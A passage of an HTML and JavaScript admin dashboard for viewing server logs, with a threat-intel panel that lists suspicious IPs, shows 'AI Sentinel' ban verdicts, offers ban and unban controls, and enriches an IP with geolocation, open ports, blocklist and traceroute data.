.ban-btn.ban:hover{background:rgba(224,82,82,0.1)}
|
|
.ban-btn.unban{color:var(--green);border-color:rgba(74,222,128,0.4)}
|
|
.ban-btn.unban:hover{background:rgba(74,222,128,0.1)}
|
|
.threat-summary{display:grid;grid-template-columns:repeat(3,1fr);gap:8px;margin-bottom:16px}
|
|
.ts-box{background:rgba(0,0,0,0.3);border:2px solid var(--border);border-radius:2px;padding:12px;text-align:center;backdrop-filter:blur(16px)}
|
|
.ts-val{font-family:'JetBrains Mono',monospace;font-size:20px;font-weight:700}
|
|
.ts-val.red{color:var(--red)}
|
|
.ts-val.green{color:var(--green)}
|
|
.ts-val.amber{color:#f59e0b}
|
|
.ts-label{font-family:'JetBrains Mono',monospace;font-size:8px;text-transform:uppercase;letter-spacing:1.5px;color:var(--text2);margin-top:4px}
|
|
.tag{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:1px;padding:3px 8px;border:1px solid;border-radius:1px;font-weight:600}
|
|
</style>
|
|
</head><body>
|
|
<canvas id="bg-grid"></canvas>
|
|
<div class="scanlines"></div>
|
|
<div class="wrap">
|
|
<header>
|
|
<h1><span>Logs</span> // System View</h1>
|
|
<a class="back" href="/admin/monitor">Monitor</a>
|
|
<a class="back" href="/admin">Admin</a>
|
|
<a class="back" href="/">← Team</a>
|
|
</header>
|
|
<div class="tabs" id="tabs">
|
|
<div class="tab active" data-src="app" onclick="switchTab(this)">App Log</div>
|
|
<div class="tab" data-src="runs" onclick="switchTab(this)">Run History</div>
|
|
<div class="tab err" data-src="nginx_error" onclick="switchTab(this)">Nginx Errors</div>
|
|
<div class="tab" data-src="nginx_access" onclick="switchTab(this)">Nginx Access</div>
|
|
<div class="tab err" data-src="security" onclick="switchTab(this)">Security Raw</div>
|
|
<div class="tab err" data-src="threats" onclick="switchTab(this)">Threat Intel</div>
|
|
<div class="tab" data-src="shame" onclick="switchTab(this)" style="color:#d946ef;border-color:rgba(217,70,239,0.3)">Wall of Shame</div>
|
|
</div>
|
|
<div class="controls">
|
|
<label>Lines:</label>
|
|
<select id="log-limit" onchange="loadLogs()">
|
|
<option value="50">50</option>
|
|
<option value="100" selected>100</option>
|
|
<option value="200">200</option>
|
|
<option value="500">500</option>
|
|
</select>
|
|
<label>Filter:</label>
|
|
<input class="filter-input" id="log-filter" placeholder="grep..." oninput="filterLogs()">
|
|
<button onclick="loadLogs()">Refresh</button>
|
|
</div>
|
|
<div class="log-view" id="log-view"><div class="empty">Loading...</div></div>
|
|
</div>
|
|
<script>
|
|
!function(){var c=document.getElementById('bg-grid');if(!c)return;var x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);var t=0;function draw(){x.clearRect(0,0,c.width,c.height);var s=50,ox=(t*0.2)%s,oy=(t*0.1)%s;x.fillStyle='rgba(226,181,90,0.025)';for(var gx=-s+ox;gx<c.width+s;gx+=s)for(var gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.7,0,Math.PI*2);x.fill()}t++;requestAnimationFrame(draw)}draw()}();
|
|
|
|
var currentSource = 'app';
|
|
var allLines = [];
|
|
|
|
function switchTab(el) {
|
|
document.querySelectorAll('.tab').forEach(function(t){t.classList.remove('active')});
|
|
el.classList.add('active');
|
|
currentSource = el.dataset.src;
|
|
loadLogs();
|
|
}
|
|
|
|
function esc(t){var d=document.createElement('span');d.textContent=t;return d.innerHTML}
|
|
|
|
function classifyLine(line) {
|
|
var lower = line.toLowerCase();
|
|
if (lower.indexOf('error') >= 0 || lower.indexOf('fail') >= 0 || lower.indexOf('traceback') >= 0) return 'err';
|
|
if (lower.indexOf('warn') >= 0 || lower.indexOf(' 4') >= 0) return 'warn';
|
|
return 'info';
|
|
}
|
|
|
|
function highlightStatus(text) {
|
|
return text.replace(/\s(2\d\d)\s/g, ' <span class="status-2xx">$1</span> ')
|
|
.replace(/\s(3\d\d)\s/g, ' <span class="status-3xx">$1</span> ')
|
|
.replace(/\s(4\d\d)\s/g, ' <span class="status-4xx">$1</span> ')
|
|
.replace(/\s(5\d\d)\s/g, ' <span class="status-5xx">$1</span> ');
|
|
}
|
|
|
|
function renderLines(lines) {
|
|
var view = document.getElementById('log-view');
|
|
if (!lines.length) { view.textContent = ''; var e = document.createElement('div'); e.className = 'empty'; e.textContent = 'No log entries'; view.appendChild(e); return; }
|
|
view.textContent = '';
|
|
lines.forEach(function(line) {
|
|
var div = document.createElement('div');
|
|
div.className = 'log-line ' + classifyLine(line);
|
|
div.innerHTML = highlightStatus(esc(line));
|
|
view.appendChild(div);
|
|
});
|
|
view.scrollTop = view.scrollHeight;
|
|
}
|
|
|
|
function renderRuns(runs) {
|
|
var view = document.getElementById('log-view');
|
|
if (!runs.length) { view.textContent = ''; var e = document.createElement('div'); e.className = 'empty'; e.textContent = 'No run history'; view.appendChild(e); return; }
|
|
view.textContent = '';
|
|
runs.forEach(function(r) {
|
|
var card = document.createElement('div');
|
|
card.className = 'run-card' + (r.errors && r.errors.length ? ' has-errors' : '');
|
|
var row = document.createElement('div');
|
|
row.className = 'run-row';
|
|
function addTag(text, cls) { var t = document.createElement('span'); t.className = 'tag ' + cls; t.textContent = text; row.appendChild(t); }
|
|
addTag(r.mode, 'tag-mode');
|
|
addTag(r.user || '?', 'tag-time');
|
|
if (r.duration) addTag(r.duration + 's', 'tag-time');
|
|
addTag((r.response_count || 0) + ' responses', 'tag-time');
|
|
if (r.errors && r.errors.length) addTag(r.errors.length + ' errors', 'tag-err');
|
|
else addTag('ok', 'tag-ok');
|
|
card.appendChild(row);
|
|
var p = document.createElement('div'); p.className = 'run-prompt'; p.textContent = r.prompt || ''; card.appendChild(p);
|
|
if (r.errors) r.errors.forEach(function(e) {
|
|
var el = document.createElement('div'); el.className = 'run-error';
|
|
el.textContent = (e.model || '?') + ': ' + (e.error || 'unknown');
|
|
card.appendChild(el);
|
|
});
|
|
view.appendChild(card);
|
|
});
|
|
}
|
|
|
|
function filterLogs() {
|
|
var q = document.getElementById('log-filter').value.toLowerCase();
|
|
if (!q) { renderLines(allLines); return; }
|
|
renderLines(allLines.filter(function(l) { return l.toLowerCase().indexOf(q) >= 0; }));
|
|
}
|
|
|
|
async function loadLogs() {
|
|
var limit = document.getElementById('log-limit').value;
|
|
var view = document.getElementById('log-view');
|
|
view.textContent = '';
|
|
var ld = document.createElement('div'); ld.className = 'empty'; ld.textContent = 'Loading...'; view.appendChild(ld);
|
|
try {
|
|
if (currentSource === 'threats') {
|
|
await loadThreats();
|
|
return;
|
|
}
|
|
if (currentSource === 'shame') {
|
|
await loadWallOfShame();
|
|
return;
|
|
}
|
|
var r = await fetch('/api/admin/logs?source=' + currentSource + '&limit=' + limit);
|
|
var d = await r.json();
|
|
if (currentSource === 'runs') {
|
|
renderRuns(d.runs || []);
|
|
} else {
|
|
allLines = d.lines || [];
|
|
filterLogs();
|
|
}
|
|
} catch(e) {
|
|
view.textContent = '';
|
|
var err = document.createElement('div'); err.className = 'empty'; err.textContent = 'Error loading logs: ' + e.message; view.appendChild(err);
|
|
}
|
|
}
|
|
|
|
async function loadThreats() {
|
|
var view = document.getElementById('log-view');
|
|
try {
|
|
var r = await fetch('/api/admin/security?sort=' + currentSort);
|
|
var d = await r.json();
|
|
var ips = d.ips || [];
|
|
|
|
// Also fetch sentinel status
|
|
var sr = await fetch('/api/admin/sentinel').catch(function(){return{json:function(){return{}}}});
|
|
var sentinel = await sr.json();
|
|
|
|
view.textContent = '';
|
|
|
|
// Sentinel status card
|
|
var sentinelCard = document.createElement('div');
|
|
sentinelCard.style.cssText = 'background:rgba(0,0,0,0.3);border:2px solid rgba(217,70,239,0.3);border-radius:2px;padding:14px;margin-bottom:16px;backdrop-filter:blur(16px)';
|
|
var sHeader = document.createElement('div');
|
|
sHeader.style.cssText = 'display:flex;align-items:center;gap:8px;margin-bottom:8px';
|
|
var sDot = document.createElement('div');
|
|
sDot.style.cssText = 'width:8px;height:8px;border-radius:50%;background:#d946ef;box-shadow:0 0 8px #d946ef;animation:pulse-dot 2s ease-in-out infinite';
|
|
var sTitle = document.createElement('span');
|
|
sTitle.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:11px;text-transform:uppercase;letter-spacing:1.5px;color:#d946ef;font-weight:700';
|
|
sTitle.textContent = 'AI Sentinel — ' + (sentinel.model || '?');
|
|
sHeader.appendChild(sDot);sHeader.appendChild(sTitle);sentinelCard.appendChild(sHeader);
|
|
var sStats = document.createElement('div');
|
|
sStats.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#7a7872;display:flex;gap:16px;margin-bottom:8px';
|
|
var ss = sentinel.stats || {};
|
|
sStats.textContent = 'Scans: ' + (ss.scans||0) + ' | AI Bans: ' + (ss.bans||0) + ' | Last: ' + (ss.last_run||'not yet') + ' | Interval: ' + (sentinel.interval||300) + 's';
|
|
sentinelCard.appendChild(sStats);
|
|
if (ss.last_error) {
|
|
var sErr = document.createElement('div');
|
|
sErr.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:#e05252;border-left:2px solid #e05252;padding-left:8px';
|
|
sErr.textContent = 'Last error: ' + ss.last_error;
|
|
sentinelCard.appendChild(sErr);
|
|
}
|
|
// Recent AI verdicts
|
|
var verdicts = sentinel.recent_verdicts || [];
|
|
if (verdicts.length) {
|
|
var vTitle = document.createElement('div');
|
|
vTitle.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:2px;color:#d946ef;margin:10px 0 6px;opacity:0.6';
|
|
vTitle.textContent = 'Recent AI Verdicts';
|
|
sentinelCard.appendChild(vTitle);
|
|
verdicts.slice(0,8).forEach(function(v){
|
|
var vLine = document.createElement('div');
|
|
vLine.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#7a7872;padding:3px 0;border-bottom:1px solid rgba(42,45,53,0.3);display:flex;gap:8px';
|
|
var actionColor = v.action === 'ban' ? '#e05252' : v.action === 'monitor' ? '#f59e0b' : '#7a7872';
|
|
vLine.innerHTML = '<span style="color:'+actionColor+';min-width:50px;font-weight:700">'+esc(v.action||'?').toUpperCase()+'</span>'
|
|
+ '<span style="min-width:120px">'+esc(v.ip||'?')+'</span>'
|
|
+ '<span style="color:#c084fc">'+esc(v.attack_type||'?')+'</span>'
|
|
+ '<span style="flex:1;opacity:0.6">'+esc(v.reason||'')+'</span>';
|
|
sentinelCard.appendChild(vLine);
|
|
});
|
|
}
|
|
view.appendChild(sentinelCard);
|
|
|
|
// Summary stats
|
|
var summary = document.createElement('div');
|
|
summary.className = 'threat-summary';
|
|
var critical = ips.filter(function(i){return i.threat==='critical'}).length;
|
|
var high = ips.filter(function(i){return i.threat==='high'}).length;
|
|
var banned = d.total_banned || 0;
|
|
[{v:critical,l:'Critical IPs',c:'red'},{v:high,l:'High Threat',c:'amber'},{v:banned,l:'Currently Banned',c:'green'}].forEach(function(s){
|
|
var box = document.createElement('div'); box.className = 'ts-box';
|
|
var val = document.createElement('div'); val.className = 'ts-val ' + s.c; val.textContent = s.v;
|
|
var lab = document.createElement('div'); lab.className = 'ts-label'; lab.textContent = s.l;
|
|
box.appendChild(val); box.appendChild(lab); summary.appendChild(box);
|
|
});
|
|
view.appendChild(summary);
|
|
|
|
if (!ips.length) {
|
|
var e = document.createElement('div'); e.className = 'empty'; e.textContent = 'No external IP activity recorded';
|
|
view.appendChild(e); return;
|
|
}
|
|
|
|
// Sort controls + mass action bar
|
|
var toolbar = document.createElement('div');
|
|
toolbar.style.cssText = 'display:flex;gap:8px;align-items:center;margin-bottom:12px;flex-wrap:wrap';
|
|
var sortLabel = document.createElement('span');
|
|
sortLabel.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;text-transform:uppercase;letter-spacing:1px;color:#7a7872';
|
|
sortLabel.textContent = 'Sort:';
|
|
toolbar.appendChild(sortLabel);
|
|
['hits','threat','recent','banned'].forEach(function(s){
|
|
var btn = document.createElement('button');
|
|
btn.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;text-transform:uppercase;letter-spacing:0.5px;padding:4px 10px;border:2px solid '+(currentSort===s?'#e2b55a':'#2a2d35')+';border-radius:2px;background:transparent;color:'+(currentSort===s?'#e2b55a':'#7a7872')+';cursor:pointer';
|
|
btn.textContent = s;
|
|
btn.onclick = function(){ currentSort=s; loadThreats(); };
|
|
toolbar.appendChild(btn);
|
|
});
|
|
// Mass action buttons
|
|
var spacer = document.createElement('div'); spacer.style.flex = '1'; toolbar.appendChild(spacer);
|
|
var selCount = document.createElement('span'); selCount.id = 'sel-count';
|
|
selCount.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#7a7872';
|
|
toolbar.appendChild(selCount);
|
|
var massBan = document.createElement('button'); massBan.className = 'ban-btn ban';
|
|
massBan.textContent = 'Ban Selected'; massBan.onclick = function(){ massAction('ban'); };
|
|
toolbar.appendChild(massBan);
|
|
var massUnban = document.createElement('button'); massUnban.className = 'ban-btn unban';
|
|
massUnban.textContent = 'Unban Selected'; massUnban.onclick = function(){ massAction('unban'); };
|
|
toolbar.appendChild(massUnban);
|
|
view.appendChild(toolbar);
|
|
|
|
ips.forEach(function(ip) {
|
|
var card = document.createElement('div');
|
|
card.className = 'threat-card ' + ip.threat + (ip.banned ? ' banned' : '');
|
|
card.id = 'ip-' + ip.ip.replace(/\./g, '-');
|
|
|
|
// Checkbox for mass selection
|
|
var cb = document.createElement('input'); cb.type = 'checkbox';
|
|
cb.className = 'ip-check'; cb.dataset.ip = ip.ip;
|
|
cb.style.cssText = 'width:16px;height:16px;cursor:pointer;flex-shrink:0;accent-color:#e2b55a;margin-top:2px';
|
|
cb.onchange = updateSelCount;
|
|
card.appendChild(cb);
|
|
|
|
var ipEl = document.createElement('div'); ipEl.className = 'threat-ip'; ipEl.textContent = ip.ip;
|
|
card.appendChild(ipEl);
|
|
|
|
var info = document.createElement('div'); info.className = 'threat-info';
|
|
var row = document.createElement('div'); row.className = 'threat-row';
|
|
function addTag(text, cls) { var t = document.createElement('span'); t.className = 'tag ' + cls; t.textContent = text; row.appendChild(t); }
|
|
addTag(ip.threat, ip.threat === 'critical' ? 'tag-err' : ip.threat === 'high' ? 'tag-mode' : 'tag-time');
|
|
addTag(ip.hits + ' hits', 'tag-time');
|
|
if (ip.exploit_scans) addTag(ip.exploit_scans + ' scans', 'tag-err');
|
|
if (ip.login_fails) addTag(ip.login_fails + ' login fails', 'tag-err');
|
|
if (ip.ua_count > 1) addTag(ip.ua_count + ' UAs', 'tag-mode');
|
|
if (ip.banned) addTag('BANNED', 'tag-ok');
|
|
if (ip.ban_jails && ip.ban_jails.length) addTag(ip.ban_jails.join(', '), 'tag-time');
|
|
info.appendChild(row);
|
|
|
|
// Fingerprint line
|
|
var fp = document.createElement('div'); fp.className = 'threat-paths';
|
|
var fpParts = [];
|
|
if (ip.first_seen) fpParts.push('First: ' + ip.first_seen);
|
|
fpParts.push('Last: ' + ip.last_seen);
|
|
if (ip.methods) { var mm = Object.entries(ip.methods).map(function(e){return e[0]+':'+e[1]}).join(' '); if(mm) fpParts.push('Methods: '+mm); }
|
|
fp.textContent = fpParts.join(' | ');
|
|
info.appendChild(fp);
|
|
|
|
if (ip.paths && ip.paths.length) {
|
|
var paths = document.createElement('div'); paths.className = 'threat-paths';
|
|
paths.textContent = 'Paths: ' + ip.paths.join(', ');
|
|
info.appendChild(paths);
|
|
}
|
|
|
|
// AI verdicts if any
|
|
if (ip.ai_verdicts && ip.ai_verdicts.length) {
|
|
var aiDiv = document.createElement('div'); aiDiv.style.cssText = 'margin-top:4px';
|
|
ip.ai_verdicts.forEach(function(v){
|
|
var vl = document.createElement('div');
|
|
vl.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:#c084fc;padding:1px 0';
|
|
vl.textContent = 'AI: ' + (v.action||'?').toUpperCase() + ' — ' + (v.reason||'') + ' [' + (v.attack_type||'?') + ']';
|
|
aiDiv.appendChild(vl);
|
|
});
|
|
info.appendChild(aiDiv);
|
|
}
|
|
|
|
// Expandable raw logs (click to toggle)
|
|
var expandBtn = document.createElement('div');
|
|
expandBtn.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:1.5px;color:#e2b55a;cursor:pointer;margin-top:6px;opacity:0.5';
|
|
expandBtn.textContent = '▶ Show ' + (ip.log_lines?ip.log_lines.length:0) + ' log entries';
|
|
var logPanel = document.createElement('div');
|
|
logPanel.style.cssText = 'display:none;margin-top:6px;background:rgba(0,0,0,0.3);border:1px solid #2a2d35;border-radius:2px;padding:8px;max-height:250px;overflow-y:auto;font-family:JetBrains Mono,monospace;font-size:9px;line-height:1.6;color:#7a7872;white-space:pre-wrap;word-break:break-all';
|
|
if (ip.log_lines) logPanel.textContent = ip.log_lines.join('\n');
|
|
// UAs section
|
|
if (ip.uas && ip.uas.length) {
|
|
var uaHeader = document.createElement('div');
|
|
uaHeader.style.cssText = 'margin-top:8px;padding-top:6px;border-top:1px solid #2a2d35;color:#c084fc;font-size:8px;text-transform:uppercase;letter-spacing:1px;margin-bottom:4px';
|
|
uaHeader.textContent = 'User Agents (' + ip.uas.length + ')';
|
|
logPanel.appendChild(uaHeader);
|
|
ip.uas.forEach(function(ua){
|
|
var uaLine = document.createElement('div'); uaLine.style.color = '#7a7872';
|
|
uaLine.textContent = ua; logPanel.appendChild(uaLine);
|
|
});
|
|
}
|
|
expandBtn.onclick = function(){
|
|
if (logPanel.style.display === 'none') {
|
|
logPanel.style.display = 'block'; expandBtn.textContent = '▼ Hide log entries'; expandBtn.style.opacity = '1';
|
|
} else {
|
|
logPanel.style.display = 'none'; expandBtn.textContent = '▶ Show ' + (ip.log_lines?ip.log_lines.length:0) + ' log entries'; expandBtn.style.opacity = '0.5';
|
|
}
|
|
};
|
|
info.appendChild(expandBtn);
|
|
info.appendChild(logPanel);
|
|
card.appendChild(info);
|
|
|
|
var actions = document.createElement('div'); actions.className = 'threat-actions';
|
|
actions.style.cssText = 'display:flex;flex-direction:column;gap:4px;flex-shrink:0';
|
|
var enrichBtn = document.createElement('button'); enrichBtn.className = 'ban-btn';
|
|
enrichBtn.style.cssText += 'color:#d946ef;border-color:rgba(217,70,239,0.4)';
|
|
enrichBtn.textContent = 'Enrich';
|
|
enrichBtn.onclick = function(e) { e.stopPropagation(); enrichIP(ip.ip, card); };
|
|
actions.appendChild(enrichBtn);
|
|
if (ip.banned) {
|
|
var ubtn = document.createElement('button'); ubtn.className = 'ban-btn unban'; ubtn.textContent = 'Unban';
|
|
ubtn.onclick = function(e) { e.stopPropagation(); banAction(ip.ip, 'unban'); };
|
|
actions.appendChild(ubtn);
|
|
} else {
|
|
var bbtn = document.createElement('button'); bbtn.className = 'ban-btn ban'; bbtn.textContent = 'Ban';
|
|
bbtn.onclick = function(e) { e.stopPropagation(); banAction(ip.ip, 'ban'); };
|
|
actions.appendChild(bbtn);
|
|
}
|
|
card.appendChild(actions);
|
|
view.appendChild(card);
|
|
});
|
|
} catch(e) {
|
|
view.textContent = '';
|
|
var err = document.createElement('div'); err.className = 'empty'; err.textContent = 'Error: ' + e.message;
|
|
view.appendChild(err);
|
|
}
|
|
}
|
|
|
|
var currentSort = 'hits';
|
|
|
|
function updateSelCount() {
|
|
var checks = document.querySelectorAll('.ip-check:checked');
|
|
var el = document.getElementById('sel-count');
|
|
if (el) el.textContent = checks.length ? checks.length + ' selected' : '';
|
|
}
|
|
|
|
async function massAction(action) {
|
|
var checks = document.querySelectorAll('.ip-check:checked');
|
|
if (!checks.length) return;
|
|
var ipList = [];
|
|
checks.forEach(function(c) { ipList.push(c.dataset.ip); });
|
|
if (!confirm((action === 'ban' ? 'Ban' : 'Unban') + ' ' + ipList.length + ' IPs?\n\n' + ipList.join('\n'))) return;
|
|
try {
|
|
var r = await fetch('/api/admin/security/mass-ban', {
|
|
method: 'POST', headers: {'Content-Type': 'application/json'},
|
|
body: JSON.stringify({ips: ipList, action: action})
|
|
});
|
|
var d = await r.json();
|
|
if (d.ok) { setTimeout(function(){ loadThreats(); }, 300); }
|
|
} catch(e) { alert('Error: ' + e.message); }
|
|
}
|
|
|
|
async function enrichIP(ip, card) {
|
|
// Find or create enrichment panel in the card
|
|
var existing = card.querySelector('.enrich-panel');
|
|
if (existing) { existing.remove(); return; }
|
|
var panel = document.createElement('div');
|
|
panel.className = 'enrich-panel';
|
|
panel.style.cssText = 'background:rgba(217,70,239,0.04);border:2px solid rgba(217,70,239,0.2);border-radius:2px;padding:12px;margin-top:8px;grid-column:1/-1';
|
|
panel.textContent = '';
|
|
var loading = document.createElement('div');
|
|
loading.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#d946ef';
|
|
loading.textContent = 'Enriching ' + ip + '... (geo + AI analysis)';
|
|
panel.appendChild(loading);
|
|
card.appendChild(panel);
|
|
|
|
try {
|
|
var r = await fetch('/api/admin/security/enrich', {
|
|
method:'POST', headers:{'Content-Type':'application/json'},
|
|
body: JSON.stringify({ip: ip})
|
|
});
|
|
var d = await r.json();
|
|
panel.textContent = '';
|
|
|
|
// Geo section
|
|
if (d.geo && !d.geo.error) {
|
|
var g = d.geo;
|
|
var geoDiv = document.createElement('div');
|
|
geoDiv.style.cssText = 'margin-bottom:10px';
|
|
var gTitle = document.createElement('div');
|
|
gTitle.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:2px;color:#d946ef;margin-bottom:6px;font-weight:700';
|
|
gTitle.textContent = 'Geolocation + Network';
|
|
geoDiv.appendChild(gTitle);
|
|
var gGrid = document.createElement('div');
|
|
gGrid.style.cssText = 'display:grid;grid-template-columns:repeat(auto-fit,minmax(140px,1fr));gap:6px';
|
|
var fields = [
|
|
['Location', (g.city||'?')+', '+(g.regionName||'?')+', '+(g.country||'?')],
|
|
['ISP', g.isp||'?'],
|
|
['Org', g.org||'?'],
|
|
['AS', g.as||'?'],
|
|
['Proxy', g.proxy ? 'YES' : 'No'],
|
|
['Hosting', g.hosting ? 'YES' : 'No'],
|
|
['Mobile', g.mobile ? 'YES' : 'No'],
|
|
['Timezone', g.timezone||'?']
|
|
];
|
|
fields.forEach(function(f){
|
|
var box = document.createElement('div');
|
|
box.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px';
|
|
var label = document.createElement('span'); label.style.cssText = 'color:#7a7872;font-size:8px;text-transform:uppercase;letter-spacing:1px';
|
|
label.textContent = f[0] + ': ';
|
|
var val = document.createElement('span');
|
|
val.style.color = (f[0]==='Proxy'&&g.proxy)||(f[0]==='Hosting'&&g.hosting) ? '#e05252' : '#e8e6e3';
|
|
val.textContent = f[1];
|
|
box.appendChild(label); box.appendChild(val);
|
|
gGrid.appendChild(box);
|
|
});
|
|
geoDiv.appendChild(gGrid);
|
|
panel.appendChild(geoDiv);
|
|
}
|
|
|
|
// Web-Check section (ports, blocklists)
|
|
if (d.webcheck) {
|
|
var wcDiv = document.createElement('div');
|
|
wcDiv.style.cssText = 'margin-bottom:10px';
|
|
var wcTitle = document.createElement('div');
|
|
wcTitle.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:2px;color:#d946ef;margin-bottom:6px;font-weight:700';
|
|
wcTitle.textContent = 'Deep Scan (web-check)';
|
|
wcDiv.appendChild(wcTitle);
|
|
var wcGrid = document.createElement('div');
|
|
wcGrid.style.cssText = 'display:grid;grid-template-columns:repeat(auto-fit,minmax(140px,1fr));gap:6px';
|
|
|
|
// Open ports
|
|
if (d.webcheck.ports && d.webcheck.ports.openPorts) {
|
|
var ports = d.webcheck.ports.openPorts;
|
|
var pBox = document.createElement('div'); pBox.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px';
|
|
var pLabel = document.createElement('span'); pLabel.style.cssText = 'color:#7a7872;font-size:8px;text-transform:uppercase;letter-spacing:1px';
|
|
pLabel.textContent = 'Open Ports: ';
|
|
var pVal = document.createElement('span'); pVal.style.cssText = 'color:#e05252;font-weight:700';
|
|
pVal.textContent = ports.length ? ports.join(', ') : 'none found';
|
|
pBox.appendChild(pLabel); pBox.appendChild(pVal); wcGrid.appendChild(pBox);
|
|
}
|
|
|
|
// Blocklists
|
|
if (d.webcheck.block_lists && d.webcheck.block_lists.blocklists) {
|
|
var bls = d.webcheck.block_lists.blocklists;
|
|
var blocked = bls.filter(function(b){return b.isBlocked});
|
|
var clean = bls.filter(function(b){return !b.isBlocked});
|
|
var bBox = document.createElement('div'); bBox.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;grid-column:1/-1';
|
|
var bLabel = document.createElement('span'); bLabel.style.cssText = 'color:#7a7872;font-size:8px;text-transform:uppercase;letter-spacing:1px';
|
|
bLabel.textContent = 'Blocklists: ';
|
|
var bVal = document.createElement('span');
|
|
bVal.style.cssText = 'color:' + (blocked.length ? '#e05252' : '#4ade80');
|
|
bVal.textContent = blocked.length
|
|
? blocked.length + '/' + bls.length + ' blocked (' + blocked.map(function(b){return b.server}).join(', ') + ')'
|
|
: 'Clean on all ' + bls.length + ' lists';
|
|
bBox.appendChild(bLabel); bBox.appendChild(bVal); wcGrid.appendChild(bBox);
|
|
}
|
|
|
|
// DNS
|
|
if (d.webcheck.dns) {
|
|
var dns = d.webcheck.dns;
|
|
var ptr = dns.PTR && dns.PTR.length ? dns.PTR.join(', ') : 'none';
|
|
var dBox = document.createElement('div'); dBox.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;grid-column:1/-1';
|
|
var dLabel = document.createElement('span'); dLabel.style.cssText = 'color:#7a7872;font-size:8px;text-transform:uppercase;letter-spacing:1px';
|
|
dLabel.textContent = 'Reverse DNS: ';
|
|
var dVal = document.createElement('span'); dVal.style.color = '#e8e6e3';
|
|
dVal.textContent = ptr;
|
|
dBox.appendChild(dLabel); dBox.appendChild(dVal); wcGrid.appendChild(dBox);
|
|
}
|
|
|
|
// Traceroute
|
|
if (d.webcheck.trace_route && d.webcheck.trace_route.result) {
|
|
var hops = d.webcheck.trace_route.result.filter(function(h){return typeof h === 'object' && h !== null});
|
|
if (hops.length) {
|
|
var trBox = document.createElement('div'); trBox.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;grid-column:1/-1;margin-top:4px';
|
|
var trLabel = document.createElement('span'); trLabel.style.cssText = 'color:#7a7872;font-size:8px;text-transform:uppercase;letter-spacing:1px';
|
|
trLabel.textContent = 'Traceroute (' + hops.length + ' hops): ';
|
|
trBox.appendChild(trLabel);
|
|
var trVal = document.createElement('div');
|
|
trVal.style.cssText = 'color:#e8e6e3;margin-top:4px;display:flex;flex-wrap:wrap;gap:2px;align-items:center';
|
|
hops.forEach(function(h, i) {
|
|
var hopIp = Object.keys(h)[0];
|
|
var latency = h[hopIp] ? h[hopIp][0] : '?';
|
|
var chip = document.createElement('span');
|
|
chip.style.cssText = 'background:rgba(0,0,0,0.3);border:1px solid #2a2d35;border-radius:2px;padding:2px 6px;font-size:9px;white-space:nowrap';
|
|
chip.textContent = hopIp + ' (' + (typeof latency === 'number' ? latency.toFixed(0) + 'ms' : '?') + ')';
|
|
trVal.appendChild(chip);
|
|
if (i < hops.length - 1) {
|
|
var arrow = document.createElement('span'); arrow.style.cssText = 'color:#7a7872;font-size:8px';
|
|
arrow.textContent = '→'; trVal.appendChild(arrow);
|
|
}
|
|
});
|
|
trBox.appendChild(trVal);
|
|
wcGrid.appendChild(trBox);
|
|
}
|
|
}
|
|
|
|
// HTTP Status/Headers if available
|
|
if (d.webcheck.status && !d.webcheck.status.error) {
|
|
var st = d.webcheck.status;
|
|
var stBox = document.createElement('div'); stBox.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px';
|
|
var stLabel = document.createElement('span'); stLabel.style.cssText = 'color:#7a7872;font-size:8px;text-transform:uppercase;letter-spacing:1px';
|
|
stLabel.textContent = 'HTTP Status: ';
|
|
var stVal = document.createElement('span'); stVal.style.color = '#e8e6e3';
|
|
stVal.textContent = st.statusCode ? st.statusCode + ' (' + (st.responseTime||'?') + 'ms)' : 'No HTTP';
|
|
stBox.appendChild(stLabel); stBox.appendChild(stVal); wcGrid.appendChild(stBox);
|
|
}
|
|
if (d.webcheck.headers && !d.webcheck.headers.error) {
|
|
var hdrs = d.webcheck.headers;
|
|
var hdrKeys = Object.keys(hdrs).filter(function(k){return typeof hdrs[k] === 'string'}).slice(0,6);
|
|
if (hdrKeys.length) {
|
|
var hBox = document.createElement('div'); hBox.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;grid-column:1/-1;color:#7a7872;margin-top:2px';
|
|
hBox.textContent = 'Headers: ' + hdrKeys.map(function(k){return k+': '+hdrs[k].substring(0,40)}).join(' | ');
|
|
wcGrid.appendChild(hBox);
|
|
}
|
|
}
|
|
|
|
wcDiv.appendChild(wcGrid);
|
|
panel.appendChild(wcDiv);
|
|
}
|
|
|
|
// AI Analysis section
|
|
if (d.ai_analysis && !d.ai_analysis.error) {
|
|
var ai = d.ai_analysis;
|
|
var aiDiv = document.createElement('div');
|
|
var aTitle = document.createElement('div');
|
|
aTitle.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:2px;color:#d946ef;margin-bottom:6px;font-weight:700';
|
|
aTitle.textContent = 'AI Threat Analysis (' + d.log_count + ' log entries)';
|
|
aiDiv.appendChild(aTitle);
|
|
|
|
var threatColor = {'critical':'#e05252','high':'#f59e0b','medium':'#e2b55a','low':'#7a7872','none':'#4ade80'};
|
|
var summaryDiv = document.createElement('div');
|
|
